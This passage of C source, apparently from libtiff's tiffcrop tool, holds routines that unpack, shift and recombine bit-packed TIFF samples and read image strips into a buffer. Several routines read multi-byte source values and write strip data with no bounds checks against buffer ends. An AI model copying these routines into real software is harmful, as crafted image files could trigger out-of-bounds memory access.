If count > 1, * count samples beginning at sample will be extracted. Portions of a * scanline can be extracted by specifying a start and end value. */ static int extractContigSamplesBytes (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int i, bytes_per_sample, sindex; uint32 col, dst_rowsize, bit_offset; uint32 src_byte /*, src_bit */; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesBytes","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesBytes", "Invalid end column value %d ignored", end); end = cols; } dst_rowsize = (bps * (end - start) * count) / 8; bytes_per_sample = (bps + 7) / 8; /* Optimize case for copying all samples */ if (count == spp) { src = in + (start * spp * bytes_per_sample); _TIFFmemcpy (dst, src, dst_rowsize); } else { for (col = start; col < end; col++) { for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { bit_offset = col * bps * spp; if (sindex == 0) { src_byte = bit_offset / 8; /* src_bit = bit_offset % 8; */ } else { src_byte = (bit_offset + (sindex * bps)) / 8; /* src_bit = (bit_offset + (sindex * bps)) % 8; */ } src = in + src_byte; for (i = 0; i < bytes_per_sample; i++) *dst++ = *src++; } } } return (0); } /* end extractContigSamplesBytes */ static int extractContigSamples8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = (buff2 | (buff1 >> ready_bits)); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamples8bits */ static int extractContigSamples16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamples16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ { bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamples16bits */ static int extractContigSamples24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = 0; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamples24bits */ static int extractContigSamples32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamples32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamples32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamples32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = 0; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamples32bits */ static int extractContigSamplesShifted8bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted8bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted8bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint8)-1 >> ( 8 - bps); buff1 = buff2 = 0; for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (8 - src_bit - bps); buff1 = ((*src) & matchbits) << (src_bit); if ((col == start) && (sindex == sample)) buff2 = *src & ((uint8)-1) << (shift); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ |= buff2; buff2 = buff1; ready_bits -= 8; } else buff2 = buff2 | (buff1 >> ready_bits); ready_bits += bps; } } while (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted8bits */ static int extractContigSamplesShifted16bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; uint8 *src = in; uint8 *dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("extractContigSamplesShifted16bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted16bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint16)-1 >> (16 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (16 - src_bit - bps); if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint16)-1) << (8 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 8) /* add another bps bits to the buffer */ buff2 = buff2 | (buff1 >> ready_bits); else /* If we have a full buffer's worth, write it out */ { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted16bits */ static int extractContigSamplesShifted24bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0; uint32 col, src_byte, src_bit, bit_offset; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted24bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted24bits", "Invalid end column value %d ignored", end); end = cols; } ready_bits = shift; maskbits = (uint32)-1 >> ( 32 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (32 - src_bit - bps); if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; if ((col == start) && (sindex == sample)) buff2 = buff1 & ((uint32)-1) << (16 - shift); buff1 = (buff1 & matchbits) << (src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted24bits */ static int extractContigSamplesShifted32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = shift; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; if ((col == start) && (sindex == sample)) buff2 = buff3 & ((uint64)-1) << (32 - shift); buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted32bits */ static int extractContigSamplesToBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row, first_col = 0; uint32 dst_rowsize, dst_offset; tsample_t count = 1; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src_rowsize = ((bps * spp * cols) + 7) / 8; dst_rowsize = ((bps * cols) + 7) / 8; if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; default: TIFFError ("extractContigSamplesToBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToBuffer */ static int extractContigSamplesToTileBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, uint32 imagewidth, uint32 tilewidth, tsample_t sample, uint16 count, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row; uint32 dst_rowsize, dst_offset; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToTileBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } src_rowsize = ((bps * spp * imagewidth) + 7) / 8; dst_rowsize = ((bps * tilewidth * count) + 7) / 8; for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; default: TIFFError ("extractContigSamplesToTileBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToTileBuffer */ static int readContigStripsIntoBuffer (TIFF* in, uint8* buf) { uint8* bufp = buf; int32 bytes_read = 0; uint16 strip, nstrips = TIFFNumberOfStrips(in); uint32 stripsize = TIFFStripSize(in); uint32 rows = 0; uint32 rps = TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); tsize_t scanline_size = TIFFScanlineSize(in); if (scanline_size == 0) { TIFFError("", "TIFF scanline size is zero!"); return 0; } for (strip = 0; strip < nstrips; strip++) { bytes_read = TIFFReadEncodedStrip (in, strip, bufp, -1); rows = bytes_read / scanline_size; if ((strip < (nstrips - 1)) && (bytes_read != (int32)stripsize)) TIFFError("", "Strip %d: read %lu bytes, strip size %lu", (int)strip + 1, (unsigned long) bytes_read, (unsigned long)stripsize); if (bytes_read < 0 && !ignore) { TIFFError("", "Error reading strip %lu after %lu rows", (unsigned long) strip, (unsigned long)rows); return 0; } bufp += bytes_read; } return 1; } /* end readContigStripsIntoBuffer */ static int combineSeparateSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, row_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * spp * cols) + 7) / 8; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); row_offset = row * src_rowsize; for (col = 0; col < cols; col++) { col_offset = row_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); src += bytes_per_sample; dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamplesBytes */ static int combineSeparateSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; /* int bytes_per_sample = 0; */ uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples8bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples8bits */ static int combineSeparateSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples16bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples16bits */ static int combineSeparateSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, 